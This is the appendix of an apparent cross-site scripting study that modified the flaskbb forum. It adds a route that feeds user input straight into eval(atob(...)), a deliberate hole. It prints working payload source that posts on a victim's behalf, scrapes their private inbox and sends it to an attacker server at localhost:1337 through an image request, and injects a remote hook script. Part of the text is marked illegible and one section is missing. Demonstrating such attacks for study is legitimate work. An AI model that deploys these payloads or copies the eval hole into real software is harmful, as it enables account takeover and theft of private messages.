

## The concerning threat of Cross Sites Scripting (XSS) vulnerabilities. - Appendix

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### 1. Modifications to flaskbb

The following modifications have been made to flaskbb :

```
forum/views.py (135-66)
@forum.route("/xss/<payload>")
def index(payload):
    [...]
    return( [...],
            payload=payload)

templates/forum/index.html (14)
<script>eval(atob("{} payload {}"))</script>
```

Also, because of a bug I removed those lines :

```
templates/forum/topic.html
{% if topic.first_post_id == post.id %}
    {% if current_user|delete_topic(topic.first_post.user_id, topic.forum) %}
        <a href="{ url_for('forum.delete_topic', topic_id=topic.id, slug=topic.slug) }}">Delete </a> |
    {% endif %}
{% else %}
    {% if current_user|delete_post(post.user_id, topic.forum) %}
        <a href="{ url_for('forum.delete_post', post_id=post.id) }}">Delete </a> |
    {% endif %}
{% endif %}
```

and didn't investigate any further...

### 2. Post a message on behalf of a user. - Payload source code

```
m();
function m() {
    var funcNum = 0;
    doRequest = function(url, method, body)
    {
        var http = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP");
        http.withCredentials = true;
        http.onreadystatechange = function() {
            if (this.readyState == 4) {
                var response = http.responseText;
                var d = document.implementation.createHTMLDocument("");
                d.documentElement.innerHTML = response;
                requestDoc = d;
                funcNum++;
                try {
                    window['r' + funcNum](requestDoc);
                } catch (error) {}
            }
        };
        if(method == "POST")
        {
            http.open('POST', url, true);
            http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
            http.setRequestHeader('Content-length', body.length);
            http.setRequestHeader('Connection', 'close');
```

[illegible]

## 4. Read a user's private conversations. - Payload source code

```
// The url where you want the stolen messages to be sent
var remoteURL = 'http://localhost:1337/';

// Compatible XHR object with credentials enabled.
function newHttp(){
    http = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP");
    http.withCredentials = true;
    return http
}

// Generates a DOM-like, queriable thing out of html text
function DOM(html){
    var c = document.createElement('span');
    c.innerHTML = html;
    return c
}

// Sends all the messages we found in the url of a get request
// We can't use an XHR object due to CORS policies. (and attacker will probably need to send this cross-
// domain)
// We'll add a <img> tag with the right src
function send_msgs(){
    var u = remoteURL+encodeURIComponent(JSON.stringify(msgs,2,2));
    var s = document.createElement('img');
    s.src = u;
    document.getElementsByTagName('body')[0].appendChild(s);
}

msgs = [];
done = 0;
var http = newHttp();
http.onreadystatechange = function() {
    if (this.readyState == 4) {

        msg_tags = DOM(this.responseText)
                        .getElementsByTagName('tbody')[0]
                        .getElementsByTagName('tr');

        for (var i=0;i<msg_tags.length;i++){
            fetch_message(i);
        }

    }
};

http.open('GET', '../user/messages/inbox', true);
http.send();

function fetch_message(i){
    var tag = msg_tags[i];
    msgs[i] = {};
    //
    msgs[i]['author'] = tag.getElementsByTagName('a')[0].text;
    msgs[i]['title'] = tag.getElementsByTagName('a')[1].text.replace(/\s/g, '');
    // The message's content is in another page
    var contentUrl = tag.getElementsByTagName('a')[1].href;
    // we'll start an ajax request
    var http = newHttp();
    http.num = i;
    http.onreadystatechange = function() {
        if (this.readyState == 4) {
            msgs[this.num]['content'] = DOM(this.responseText)
                                        .getElementsByClassName('message-body')[0]
                                        .innerHTML
                                        .replace(/\s/g, '');

            //we have one more
            done++;
            // If we have all of them
            if (done == msg_tags.length){
                send_msgs();
            }
        }
    }
}
```

```
};
http.open('GET', contentUrl, true);
http.send();
}
```

## 5. Read a user's private conversations. - Results



**Figure 2.** 1) Target gets the exploit delivered. 2) Target follows the iFrame. 3) Target executes the script, sending requests to fetch the messages... (not all visible here) ...and ultimately sends the GET request containing all the data, back to our malicious website 4) Attacker receives the data (url-encoded). 5) Attacker decodes the data.

## 6. Add hook to page. - Payload source code

```
var u = "http://localhost:3000/hook.js";
var s = document.createElement("script");
s.type = "text/javascript";
s.src = u; document.getElementsByTagName("head")[0].appendChild(s);
```